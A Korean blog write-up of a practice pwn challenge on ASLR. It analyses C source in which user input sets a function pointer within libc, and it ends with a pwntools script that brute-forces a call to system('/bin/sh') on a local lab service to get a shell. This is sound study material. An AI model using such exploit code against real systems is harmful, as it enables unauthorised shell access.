728x90
반응형
분석
vars
typedef struct addr_t {
size_t start_addr;
size_t end_addr;
} addr_t;
addr_t* p = NULL;
전역으로 선언된 구조체 포인터 p 가 있다.
main
int main() {
size_t num = 0;
char name[0x10] = {0, };
void (*func_ptr)(void) = NULL;
initialize();
get_libc_code_addr();
printf("[+] What is your name?\n> ");
read(0, name, sizeof(name)-1);
printf("Hello %s\nI will give you gift\n> ");
scanf("%llu", &num);
func_ptr = (num & 0xfffff) + (p->start_addr & 0xfffffffffff00000);
if(!check_valid_addr(func_ptr)) {
printf("Invalid addr");
return 0;
}
hint(name);
func_ptr();
return 0;
}
함수 포인터인 func_ptr 가 있고 func_ptr 을 2번째 입력에서 정해준다.
get_libc_code_addr
size_t get_libc_code_addr() {
FILE *fp;
size_t start_addr;
size_t end_addr;
char buffer[256];
char perm[5] = {0, };
fp = fopen("/proc/self/maps", "r");
if (fp == NULL) {
perror("Open error");
exit(-1);
}
p = malloc(sizeof(addr_t));
if(!p) {
perror("Malloc error");
exit(-1);
}
while (1) {
memset(perm, NULL, sizeof(perm));
if(fscanf(fp, "%lx-%lx %4s", &start_addr, &end_addr, perm) == -1) {
break;
}
fgets(buffer, 256, fp);
if(strstr(perm, "x") && strstr(buffer, "libc.so.6")) {
p->start_addr = start_addr;
p->end_addr = end_addr;
break;
}
}
}
/proc/self/maps 를 열어서 libc 주소의 start_addr, end_addr 를 구한다.
이후 x, libc.so.6 이 포함되어 있으면
global 로 선언된 구조체 포인터 p 의 멤버 start_addr , end_addr 에 각각 넣어준다.
이후 main 에서 입력을 받는데 name 버퍼에 문자열을 입력할 수 있다.
이후 num 을 입력할 수 있는데 정수형 10진수로 입력해줘야 한다.
그리고 입력한 num 을 비트 마스크로 하위 5니블만 남긴다.
그리고 여기에 아까 구한 start_addr 에 하위 5니블을 0으로 마스킹한 값을 더해준다.
이걸 이용하면 libc leak 없이도 조금의 브포만 있으면 될 거 같다.
check_valid_addr
int check_valid_addr(size_t addr) {
return p->start_addr <= addr ? (p->end_addr >= addr ? 1 : 0) : 0;
}
이후 만들어진 주소가
p의 start_addr 가 들어간 addr 보다 작거나 같으면(참이면), end_addr 이 addr보다 크면
-> 즉 addr 이 libc 영역 안에 있으면 1 반환, 아니면 0 반환
payload
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# context.log_level = 'debug'
system_off = libc.symbols['system']
num = 0x89000 + system_off
print(str(int(num)))
print(hex(system_off))
while True:
# p = process("./chall")
p = remote("localhost", 4444)
try:
name = '/bin/sh'
# pause()
p.sendafter(b'> ',str(name))
p.sendlineafter(b'> ',str(int(num)))
sleep(0.1)
p.sendline(b'id')
data=p.recv(100,timeout=0.1)
if b'uid' in data:
p.interactive()
else:
p.close()
except EOFError:
p.close()
pass
이 글은 옵시디언을 이용해서 작성되었습니다.
728x90
반응형
'TOOR' 카테고리의 다른 글
[TOOR] 11.1. GOT Overwrite (0) | 2023.09.24 |
---|---|
[TOOR] 9.3. aslr_2 write up (미완) (0) | 2023.09.24 |
[TOOR] 9.1. ASLR (0) | 2023.09.20 |
[TOOR] 8,10 공유 라이브러리 & Lazy Binding & Now Binding (0) | 2023.09.20 |
[TOOR] 7. Lazy Binding & Now Binding (0) | 2023.09.20 |